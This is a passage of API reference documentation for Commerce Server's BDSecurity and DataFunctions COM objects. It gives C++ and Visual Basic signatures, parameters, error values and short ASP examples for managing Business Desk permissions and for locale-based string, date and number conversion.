[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

This method will not typically be called from any Commerce Server Business Desk modules. It is already called in the page Global.asa to initialize the global instance of the BDSecurity object that is referenced by the global variable g_MSCSBizDeskSecurity. Unless there is a good reason not to, all modules should use the global instance.

This method must be called for each particular instance of the BDSecurity object before any other methods (besides the backwards-compatibility method CanUserAccess) are called.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

' The following exmaple is from the page Global.asa.

g_MSCSBDSecurity.Initialize(Application("MSCSSiteName"))

See Also

[C++] BDSecurity Object

[Visual Basic] BDSecurity Object

Security


IBDSecurity::RemoveAccount Method [C++]

BDSecurity.RemoveAccount Method [Visual Basic]

This method is used by the Permissions module and dialog box to remove all accounts associated with the specified security identifier (SID) from the Security Definitions Tables (SDT).

Definition

[C++]
HRESULT IBDSecurity::RemoveAccount(
  BSTR bstrSID,
);
[Visual Basic]
Sub RemoveAccount(
  bstrSID As String,
)

Parameters

bstrSID [C++]
[in] A BSTR that contains the SID corresponding to the account to be removed.
bstrSID [Visual Basic]
A String that contains the SID corresponding to the account to be removed.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

This method will not typically be called from any Commerce Server Business Desk modules other than the Permissions module and dialog box.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

' g_MSCSBizDeskSecurity is the global BD security object
' created in the page Global.asa.
' The request parameter "account" is used to pass the SID of account
' to be removed (from the page response_delaccount.asp).

g_MSCSBizDeskSecurity.RemoveAccount(Request("account"))

See Also

[C++] BDSecurity Object

[Visual Basic] BDSecurity Object

Security


IBDSecurity::RemoveSecurityDefinitions Method [C++]

BDSecurity.RemoveSecurityDefinitions Method [Visual Basic]

Use this method to remove all records associated with the specified combination of entity, element, and right from the Security Definitions Tables (SDT).

Definition

[C++]
HRESULT IBDSecurity::RemoveSecurityDefinitions(
  BSTR bstrEntity,
  VARIANT varElement
  VARIANT varRight
);
[Visual Basic]
Sub RemoveSecurityDefinitions(
  bstrEntity As String,
  Optional varElement As Variant,
  Optional varRight As Variant,
)

Parameters

bstrEntity [C++]
[in] A BSTR that contains the name of the entity for which security definitions should be removed.
bstrEntity [Visual Basic]
A String that contains the name of the entity for which security definitions should be removed.
varElement [C++]
[in, optional] An optional VARIANT that contains a string specifying the name of the element for which security definitions should be removed.
varElement [Visual Basic]
An optional Variant that contains a string specifying the name of the element for which security definitions should be removed.
varRight [C++]
[in, optional] An optional VARIANT that contains a string specifying the name of the right for which security definitions should be removed.
varRight [Visual Basic]
An optional Variant that contains a string specifying the name of the right for which security definitions should be removed.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

This method should be used in Business Desk module code when the module uses dynamic entities, elements, and/or rights, and one of them is removed. Calling this method will clean up the SDT by removing the records associated with that entity, element, or right.

If either of the optional parameters (varElement and/or varRight), is not provided, they are treated as wildcards. In other words, records will be removed regardless of their element and/or right values.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

' g_MSCSBizDeskSecurity is the global BD security object created in the page Global.asa.

' Will remove all records for the "Shoes" catalog category from the SDT,
' regardless of the rights associated with those records.

g_MSCSBizDeskSecurity.RemoveSecurityDefinitions("catalog_category", _
                                                "Shoes")

See Also

[C++] BDSecurity Object

[Visual Basic] BDSecurity Object

Security


IBDSecurity::SetPermissions Method [C++]

BDSecurity.SetPermissions Method [Visual Basic]

This method is used by the Permissions module and dialog box to set permission information (allow, deny, or undefined) for the specified combination of security identifier (SID), entity, element, and right.

Definition

[C++]
HRESULT IBDSecurity::SetPermissions(
  unsigned short iPermission,
  BSTR bstrSID,
  VARIANT varEntity
  VARIANT varElement
  VARIANT varRight
);
[Visual Basic]
Sub SetPermissions(
  iPermission As Variant,
  bstrSID As String,
  Optional varEntity As Variant,
  Optional varElement As Variant,
  Optional varRight As Variant,
)

Parameters

iPermission [C++]
[in] An unsigned short integer that specifies the permission to be set. See the Remarks section for more details.
iPermission [Visual Basic]
A Variant that specifies the permission to be set. See the Remarks section for more details.
bstrSID [C++]
[in] A BSTR that contains the security identifier (SID) of the account for which a permission is being set.
bstrSID [Visual Basic]
A String that contains the security identifier (SID) of the account for which a permission is being set.
varEntity [C++]
[in, optional] An optional VARIANT that contains a string specifying the name of the entity for which a permission is being set.
varEntity [Visual Basic]
An optional Variant that contains a string specifying the name of the entity for which a permission is being set.
varElement [C++]
[in, optional] An optional VARIANT that contains a string specifying the name of the element for which a permission is being set.
varElement [Visual Basic]
An optional Variant that contains a string specifying the name of the element for which a permission is being set.
varRight [C++]
[in, optional] An optional VARIANT that contains a string specifying the name of the right for which a permission is being set.
varRight [Visual Basic]
An optional Variant that contains a string specifying the name of the right for which a permission is being set.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

This method will not typically be called from any Commerce Server Business Desk modules other than the Permissions module and dialog box.

The parameter iPermission must contain one of three numeric values, defined in the following table.

Value | Definition
0 | Allow. The user or group indicated by the provided SID has the right to perform the operation indicated by the varElement, varEntity, and varRight parameters.
1 | Deny. The user or group indicated by the provided SID does not have the right to perform the operation indicated by the varElement, varEntity, and varRight parameters.
2 | Undefined.

If any of the optional parameters (varEntity, varElement, and varRight) are not provided, the corresponding column in the BDSecurityDefinitions table will be assigned the value NULL.

This method checks the Security Definitions Tables (SDT) to make sure that a row with the provided combination of SID, entity, element, and right does not already exist. If it does already exist, the existing permission value is overwritten with the value provided by the parameter iPermission. This is done to prevent the creation of redundant or contradictory rows in the SDT.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

' sSID is a string containing the SID of the relevant account.
' g_MSCSBizDeskSecurity is the global BD security object
' created in the page Global.asa.

' Will disallow the user(s) associated with the provided SID from
' performing edits within the "Shoes" category of product catalog.

call g_MSCSBizDeskSecurity.SetPermissions(1, sSID, "catalog_categories", _
                                          "Shoes", "edit")

See Also

[C++] BDSecurity Object

[Visual Basic] BDSecurity Object


DataFunctions Object [C++]

DataFunctions Object [Visual Basic]

Use this object to perform locale-based formatting, parsing, and value range checking in a site. This object also has a variety of utilities useful for site development.

ProgID: | Commerce.DataFunctions (Externally creatable)
COM Class Name: | DataFunctions_4_0
Type Library Name: | Commerce -- MSCSAspHelp Type Library
DLL Name: | MSCSAspHelp.dll
Threading Model: | Both
[C++]
COM Interface Name: | IDataFunctions_4_0
Interface ID Constant: | IID_IDataFunctions_4_0
Header File: | commerce.h, mspu_guids.h
[C++]

In C++, use the IDataFunctions_4_0 and IDataFunctions_3_0 interfaces to access the properties and methods of the DataFunctions object.

Methods

[C++]
Method | Description
CleanString | Processes the specified string. This processing can include stripping out white spaces, modifying the case of the string, and validating that the length of the string falls within a specified range.
CloneObject | Clones a SimpleList or Dictionary object.
ConvertDateString | Converts the specified string representation of the date to a date VARIANT, based on the default or specified locale.
ConvertDateTimeString | Converts the specified string representation of the date and time to a date VARIANT, based on the default or specified locale.
ConvertFloatString | Converts the specified string representation of a floating-point number to a double VARIANT, based on the default or specified locale.
ConvertMoneyStringToNumber | Converts the specified string representation of a currency value to a long VARIANT, based on the default or specified locale.
ConvertNumberString | Converts the specified string representation of a number to an integer VARIANT, based on the default or specified locale.
ConvertStringToCurrency | Converts the specified string representation of currency value into a currency VARIANT.
ConvertTimeString | Converts the specified string representation of a time value to a date VARIANT, based on the default or specified locale.
Date | Returns a string representation of a date stored in a date VARIANT, based on the default or specified locale.
DateTime | Returns a string representation of a date and time stored in a date VARIANT, based on the default or specified locale.
Float | Returns a string representation of a floating-point number, based on the default or specified locale.
GetLocaleInfo | Retrieves information about the specified locale.
GetLocaleList | Retrieves a list of installed locales.
LocalizeCurrency | Creates a string representation of a currency value formatted to a specified locale and currency symbol.
Money | Returns a formatted currency string, based on the default or specified locale.
Number | Returns a string representation of a number, based on the default or specified locale.
Time | Returns a string representation of a time stored in a date VARIANT, based on the default or specified locale.
ValidateDateTime | Checks whether the specified string contains a valid date and/or time, and optionally checks against a specified range.
ValidateFloat | Checks whether the specified string contains a valid floating-point number, and optionally checks the value of the number against a specified range.
ValidateNumber | Checks whether the specified string contains a valid number, and optionally checks the value of the number against a specified range.
[Visual Basic]
Method | Description
CleanString | Processes the specified string. This processing can include stripping out white spaces, modifying the case of the string, and validating that the length of the string falls within a specified range.
CloneObject | Clones a SimpleList or Dictionary object.
ConvertDateString | Converts the specified string representation of the date to a date Variant, based on the default or specified locale.
ConvertDateTimeString | Converts the specified string representation of the date and time to a date Variant, based on the default or specified locale.
ConvertFloatString | Converts the specified string representation of a floating-point number to a double Variant, based on the default or specified locale.
ConvertMoneyStringToNumber | Converts the specified string representation of a currency value to a long Variant, based on the default or specified locale.
ConvertNumberString | Converts the specified string representation of a number to an integer Variant, based on the default or specified locale.
ConvertStringToCurrency | Converts the specified string representation of currency value into a currency Variant.
ConvertTimeString | Converts the specified string representation of a time value to a date Variant, based on the default or specified locale.
Date | Returns a string representation of a date stored in a date Variant, based on the default or specified locale.
DateTime | Returns a string representation of a date and time stored in a date Variant, based on the default or specified locale.
Float | Returns a string representation of a floating-point number, based on the default or specified locale.
GetLocaleInfo | Retrieves information about the specified locale.
GetLocaleList | Retrieves a list of installed locales.
LocalizeCurrency | Creates a string representation of a currency value formatted to a specified locale and currency symbol.
Money | Returns a formatted currency string, based on the default or specified locale.
Number | Returns a string representation of a number, based on the default or specified locale.
Time | Returns a string representation of a time stored in a date Variant, based on the default or specified locale.
ValidateDateTime | Checks whether the specified string contains a valid date and/or time, and optionally checks against a specified range.
ValidateFloat | Checks whether the specified string contains a valid floating-point number, and optionally checks the value of the number against a specified range.
ValidateNumber | Checks whether the specified string contains a valid number, and optionally checks the value of the number against a specified range.

Properties

[C++]
Property | Type | Description
CurrencySymbol | VARIANT | Stores the currency symbol to use if no currency symbol is specified in the ConvertStringToCurrency and LocalizeCurrency methods. The default value is the system default currency symbol. This property is read/write.
Locale | Long | Stores a number that represents the default locale to be used to format date, time, money, and number values. This property is read/write.
[Visual Basic]
Property | Type | Description
CurrencySymbol | Variant | Stores the currency symbol to use if no currency symbol is specified in the ConvertStringToCurrency and LocalizeCurrency methods. The default value is the system default currency symbol. This property is read/write.
Locale | Long | Stores a number that represents the default locale to be used to format date, time, money, and number values. This property is read/write.


IDataFunctions_4_0 Methods

DataFunctions_4_0 Methods

Methods

[C++]
Method | Description
CleanString | Processes the specified string. This processing can include stripping out white spaces, modifying the case of the string, and validating that the length of the string falls within a specified range.
CloneObject | Clones a SimpleList or Dictionary object.
ConvertDateString | Converts the specified string representation of the date to a date VARIANT, based on the default or specified locale.
ConvertDateTimeString | Converts the specified string representation of the date and time to a date VARIANT, based on the default or specified locale.
ConvertFloatString | Converts the specified string representation of a floating-point number to a double VARIANT, based on the default or specified locale.
ConvertMoneyStringToNumber | Converts the specified string representation of a currency value to a long VARIANT, based on the default or specified locale.
ConvertNumberString | Converts the specified string representation of a number to an integer VARIANT, based on the default or specified locale.
ConvertStringToCurrency | Converts the specified string representation of currency value into a currency VARIANT.
ConvertTimeString | Converts the specified string representation of a time value to a date VARIANT, based on the default or specified locale.
Date | Returns a string representation of a date stored in a date VARIANT, based on the default or specified locale.
DateTime | Returns a string representation of a date and time stored in a date VARIANT, based on the default or specified locale.
Float | Returns a string representation of a floating-point number, based on the default or specified locale.
GetLocaleInfo | Retrieves information about the specified locale.
GetLocaleList | Retrieves a list of installed locales.
LocalizeCurrency | Creates a string representation of a currency value formatted to a specified locale and currency symbol.
Money | Returns a formatted currency string, based on the default or specified locale.
Number | Returns a string representation of a number, based on the default or specified locale.
Time | Returns a string representation of a time stored in a date VARIANT, based on the default or specified locale.
ValidateDateTime | Checks whether the specified string contains a valid date and/or time, and optionally checks against a specified range.
ValidateFloat | Checks whether the specified string contains a valid floating-point number, and optionally checks the value of the number against a specified range.
ValidateNumber | Checks whether the specified string contains a valid number, and optionally checks the value of the number against a specified range.
[Visual Basic]
Method | Description
CleanString | Processes the specified string. This processing can include stripping out white spaces, modifying the case of the string, and validating that the length of the string falls within a specified range.
CloneObject | Clones a SimpleList or Dictionary object.
ConvertDateString | Converts the specified string representation of the date to a date Variant, based on the default or specified locale.
ConvertDateTimeString | Converts the specified string representation of the date and time to a date Variant, based on the default or specified locale.
ConvertFloatString | Converts the specified string representation of a floating-point number to a double Variant, based on the default or specified locale.
ConvertMoneyStringToNumber | Converts the specified string representation of a currency value to a long Variant, based on the default or specified locale.
ConvertNumberString | Converts the specified string representation of a number to an integer Variant, based on the default or specified locale.
ConvertStringToCurrency | Converts the specified string representation of currency value into a currency Variant.
ConvertTimeString | Converts the specified string representation of a time value to a date Variant, based on the default or specified locale.
Date | Returns a string representation of a date stored in a date Variant, based on the default or specified locale.
DateTime | Returns a string representation of a date and time stored in a date Variant, based on the default or specified locale.
Float | Returns a string representation of a floating-point number, based on the default or specified locale.
GetLocaleInfo | Retrieves information about the specified locale.
GetLocaleList | Retrieves a list of installed locales.
LocalizeCurrency | Creates a string representation of a currency value formatted to a specified locale and currency symbol.
Money | Returns a formatted currency string, based on the default or specified locale.
Number | Returns a string representation of a number, based on the default or specified locale.
Time | Returns a string representation of a time stored in a date Variant, based on the default or specified locale.
ValidateDateTime | Checks whether the specified string contains a valid date and/or time, and optionally checks against a specified range.
ValidateFloat | Checks whether the specified string contains a valid floating-point number, and optionally checks the value of the number against a specified range.
ValidateNumber | Checks whether the specified string contains a valid number, and optionally checks the value of the number against a specified range.


IDataFunctions_4_0::CleanString Method [C++]

DataFunctions.CleanString Method [Visual Basic]

Use this method to process a string, based on the default or specified locale. The string processing can include stripping out leading and trailing white spaces, modifying string case, and validating that the length of the string falls within a given range.

Definition

[C++]
HRESULT IDataFunctions_4_0::CleanString(
 VARIANT vtInput,
 VARIANT vtMinLen,
 VARIANT vtMaxLen,
 VARIANT vtStripWhite,
 VARIANT vtStripReturn,
 VARIANT vtCase,
 VARIANT vtLocale,
 VARIANT* pvarOutput
);
[Visual Basic]
Function CleanString(
 vtInput As Variant,
 vtMinLen As Variant,
 vtMaxLen As Variant,
 vtStripWhite As Variant,
 vtStripReturn As Variant,
 vtCase As Variant,
 vtLocale As Variant
) As Variant

Parameters

vtInput [C++]
[in] A VARIANT that contains the text of the string to process.
vtInput [Visual Basic]
A Variant that contains the text of the string to process.
vtMinLen [C++]
[in] A VARIANT that contains the minimum length against which the length of the input string will be validated. The default value for this parameter is zero (0).
vtMinLen [Visual Basic]
A Variant that contains the minimum length against which the length of the input string will be validated. The default value for this parameter is zero (0).
vtMaxLen [C++]
[in] A VARIANT that contains the maximum length against which the length of the input string will be validated. The default value for this parameter is no limit.
vtMaxLen [Visual Basic]
A Variant that contains the maximum length against which the length of the input string will be validated. The default value for this parameter is no limit.
vtStripWhite [C++]
[in] A VARIANT that contains a Boolean value that indicates whether leading and trailing white spaces should be stripped from the input string. The default value is TRUE.
vtStripWhite [Visual Basic]
A Variant that contains a Boolean value that indicates whether leading and trailing white spaces should be stripped from the input string. The default value is True.
vtStripReturn [C++]
[in] A VARIANT that contains a Boolean value that indicates whether the carriage returns contained anywhere in the input string should be stripped. The default value is TRUE.
vtStripReturn [Visual Basic]
A Variant that contains a Boolean value that indicates whether the carriage returns contained anywhere in the input string should be stripped. The default value is True.
vtCase [C++]
[in] A VARIANT that specifies any conversions to the case of the input string. The default value for this parameter is zero (0), which results in no modification to the case of the input string. If this parameter is set to one (1), the input string is converted to uppercase. If this parameter is set to two (2), the input string is converted to lowercase.
vtCase [Visual Basic]
A Variant that specifies any conversions to the case of the input string. The default value for this parameter is zero (0), which results in no modification to the case of the input string. If this parameter is set to one (1), the input string is converted to uppercase. If this parameter is set to two (2), the input string is converted to lowercase.
vtLocale [C++]
[in] A VARIANT that specifies the locale to use when processing the input string. If this parameter is not specified, the value of the Locale property of the DataFunctions object is used.
vtLocale [Visual Basic]
A Variant that specifies the locale to use when processing the input string. If this parameter is not specified, the value of the Locale property of the DataFunctions object is used.
pvarOutput [C++]
[out, retval] A pointer used to return a VARIANT that contains the processed string.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns a string Variant that contains the processed string; otherwise, NULL is returned.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

[C++] The pvarOutput parameter contains valid data only if the method completes successfully.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

<HTML>
<HEAD>
</HEAD>
<BODY>
<%
Set MSCSDataFunctions = Server.CreateObject("Commerce.DataFunctions")
myLocale = "1033"
MSCSDataFunctions.Locale = myLocale
Dim Result
Dim strData
strData = " Microsoft Press   "
Result = MSCSDataFunctions.CleanString(strData, 1, 20, True, True, 1)
Response.Write Result
' "MICROSOFT PRESS" will be written to the page
%>
</BODY>
</HTML>

See Also

[C++] DataFunctions Object

[C++] IDataFunctions_4_0::get_Locale, put_Locale

[C++] IMSCSPage_3_0::RequestString

[Visual Basic] DataFunctions Object

[Visual Basic] DataFunctions.Locale

[Visual Basic] Page.RequestString


IDataFunctions_4_0::CloneObject Method [C++]

DataFunctions.CloneObject Method [Visual Basic]

Use this method to clone a SimpleList or Dictionary object. This method performs a deep copy of the cloned object, so new memory is allocated for the clone.

Definition

[C++]
HRESULT IDataFunctions_4_0::CloneObject(
 IDispatch* pdispSource,
 IDispatch** ppdispDest
);
[Visual Basic]
Function CloneObject(
 pdispSource As Object
) As Object

Parameters

pdispSource [C++]
[in] A pointer to the IDispatch interface of the SimpleList or Dictionary object to be cloned.
pdispSource [Visual Basic]
A reference to the SimpleList or Dictionary object to be cloned.
ppdispDest [C++]
[out, retval] The address of a pointer used to return the IDispatch interface of the SimpleList or Dictionary object clone.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns a reference to the SimpleList or Dictionary object clone.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

[C++] The ppdispDest parameter contains valid data only if the method completes successfully.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

' dSource and dCopy are Dictionary objects
Set MSCSDataFunctions = Server.CreateObject("Commerce.DataFunctions")

dCopy = MSCSDataFunctions.CloneObject(dSource)

See Also

[C++] DataFunctions Object

[C++] IDataFunctions_4_0::get_Locale, put_Locale

[Visual Basic] DataFunctions Object

[Visual Basic] DataFunctions.Locale


IDataFunctions_4_0::ConvertDateString Method [C++]

DataFunctions.ConvertDateString Method [Visual Basic]

Use this method to convert a date string to a date Variant, based on the default or specified locale.

Definition

[C++]
HRESULT IDataFunctions_4_0::ConvertDateString(
 VARIANT vtDate,
 VARIANT vtLocale,
 VARIANT* pvtRet
);
[Visual Basic]
Function ConvertDateString(
 vtDate As Variant,
 vtLocale As Variant
) As Variant

Parameters

vtDate [C++]
[in] A VARIANT that contains a string representation of the date to convert.
vtDate [Visual Basic]
A Variant that contains a string representation of the date to convert.
vtLocale [C++]
[in] A VARIANT that specifies the locale to use when processing the string. If this parameter is not specified, the value of the Locale property of the DataFunctions object is used.
vtLocale [Visual Basic]
A Variant that specifies the locale to use when processing the string. If this parameter is not specified, the value of the Locale property of the DataFunctions object is used.
pvtRet [C++]
[out, retval] A pointer to a date VARIANT used to return the converted date.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns a date Variant containing the converted value; otherwise, NULL is returned.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

[C++] The pvtRet parameter contains valid data only if the method completes successfully.

In some cases, the DataFunctions.ConvertDateString method returns NULL when converting a string representation of the date to the date Variant type for Latvian and Bulgarian locales. To avoid this problem, remove the constant string added at the end of the Date Representation String according to the Regional Settings in the Control Panel.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

<HTML>
<HEAD>
</HEAD>
<BODY>
<%
' Converts date using US and France locales
Dim Result
Set MSCSDataFunctions = Server.CreateObject("Commerce.DataFunctions")
myLocale = "1036"
MSCSDataFunctions.Locale = myLocale
Result = MSCSDataFunctions.ConvertDateString("12/1/2000", myLocale)
Response.Write "France: " & Result & "<P>"
myLocale = "1033"
MSCSDataFunctions.Locale = myLocale
Result = MSCSDataFunctions.ConvertDateString("12/1/2000", myLocale)
Response.Write "USA: " & Result
%>
</BODY>
</HTML>

See Also

[C++] DataFunctions Object

[C++] IDataFunctions_4_0::get_Locale, put_Locale

[C++] IDataFunctions_4_0::ConvertDateTimeString

[C++] IDataFunctions_4_0::Date

[C++] IDataFunctions_4_0::DateTime

[C++] IMSCSPage_3_0::RequestTime

[Visual Basic] DataFunctions Object

[Visual Basic] DataFunctions.Locale

[Visual Basic] DataFunctions.ConvertDateTimeString

[Visual Basic] DataFunctions.Date

[Visual Basic] DataFunctions.DateTime

[Visual Basic] Page.RequestTime


IDataFunctions_4_0::ConvertDateTimeString Method [C++]

DataFunctions.ConvertDateTimeString Method [Visual Basic]

Use this method to convert a date and time string to a date/time Variant, based on the default or specified locale.

Definition

[C++]
HRESULT IDataFunctions_4_0::ConvertDateTimeString(
 VARIANT vtDateTime,
 VARIANT vtLocale,
 VARIANT* pvtRet
);
[Visual Basic]
Function ConvertDateTimeString(
 vtDateTime As Variant,
 vtLocale As Variant
) As Variant

Parameters

vtDateTime [C++]
[in] A VARIANT that contains a string that specifies the date/time value to convert.
vtDateTime [Visual Basic]
A Variant that contains a string that specifies the date/time value to convert.
vtLocale [C++]
[in] A VARIANT that specifies the locale to use to convert the date. If this value is not specified, the value of the Locale property of the DataFunctions object is used.
vtLocale [Visual Basic]
A Variant that specifies the locale to use to convert the date. If this value is not specified, the value of the Locale property of the DataFunctions object is used.
pvtRet [C++]
[out, retval] A pointer to a VARIANT used to return the converted date/time value.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns a datetime Variant that contains the converted date/time value; otherwise, NULL is returned.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

[C++] The pvtRet parameter contains valid data only if the method completes successfully.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

<HTML>
<HEAD>
</HEAD>
<BODY>
<%
' Converts date time string using US and France locales
' vSourceDateTime is a variant containing a date time string
Dim Result
Set MSCSDataFunctions = Server.CreateObject("Commerce.DataFunctions")
myLocale = "1036"
MSCSDataFunctions.Locale = myLocale
Result = MSCSDataFunctions.ConvertDateTimeString(vSourceDateTime, _
    myLocale)
Response.Write "France: " & Result & "<P>"
myLocale = "1033"
MSCSDataFunctions.Locale = myLocale
Result = MSCSDataFunctions.ConvertDateTimeString(vSourceDateTime , _
    myLocale)
Response.Write "USA: " & Result
%>
</BODY>
</HTML>

See Also

[C++] DataFunctions Object

[C++] IDataFunctions_4_0::get_Locale, put_Locale

[C++] IDataFunctions_4_0::ConvertDateString

[C++] IDataFunctions_4_0::Date

[C++] IDataFunctions_4_0::DateTime

[C++] IMSCSPage_3_0::RequestTime

[Visual Basic] DataFunctions Object

[Visual Basic] DataFunctions.Locale

[Visual Basic] DataFunctions.ConvertDateString

[Visual Basic] DataFunctions.Date

[Visual Basic] DataFunctions.DateTime

[Visual Basic] Page.RequestTime


IDataFunctions_4_0::ConvertFloatString Method [C++]

DataFunctions.ConvertFloatString Method [Visual Basic]

Use this method to convert a floating-point number represented as a string to a double Variant, based on the default or specified locale.

Definition

[C++]
HRESULT IDataFunctions_4_0::ConvertFloatString(
 VARIANT vtNum,
 VARIANT vtLocale,
 VARIANT* pvtRet
);
[Visual Basic]
Function ConvertFloatString(
 vtNum As Variant,
 vtLocale As Variant
) As Variant

Parameters

vtNum [C++]
[in] A VARIANT that contains a string representation of the floating-point number to convert.
vtNum [Visual Basic]
A Variant that contains a string representation of the floating-point number to convert.
vtLocale [C++]
[in] A VARIANT that specifies the locale to use to convert the string. If this parameter is not specified, the value of the Locale property of the DataFunctions object is used.
vtLocale [Visual Basic]
A Variant that specifies the locale to use to convert the string. If this parameter is not specified, the value of the Locale property of the DataFunctions object is used.
pvtRet [C++]
[out, retval] A pointer to a double VARIANT used to return the converted floating-point number.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns a double Variant that contains the converted number; otherwise, NULL is returned.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

[C++] The pvtRet parameter contains valid data only if the method completed successfully.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

<HTML>
<HEAD>
</HEAD>
<BODY>
<%
' Converts float using US and France locales
' vSourceFloat is a variant containing a float string
Dim Result
Set MSCSDataFunctions = Server.CreateObject("Commerce.DataFunctions")
myLocale = "1036"
MSCSDataFunctions.Locale = myLocale
Result = MSCSDataFunctions.ConvertFloatString(vSourceFloat , _
    myLocale)
Response.Write "France: " & Result & "<P>"
myLocale = "1033"
MSCSDataFunctions.Locale = myLocale
Result = MSCSDataFunctions.ConvertFloatString(vSourceFloat , _
    myLocale)
Response.Write "USA: " & Result
%>
</BODY>
</HTML>

See Also

[C++] DataFunctions Object

[C++] IDataFunctions_4_0::get_Locale, put_Locale

[C++] IDataFunctions_4_0::Float

[C++] IDataFunctions_4_0::ValidateFloat

[Visual Basic] DataFunctions Object

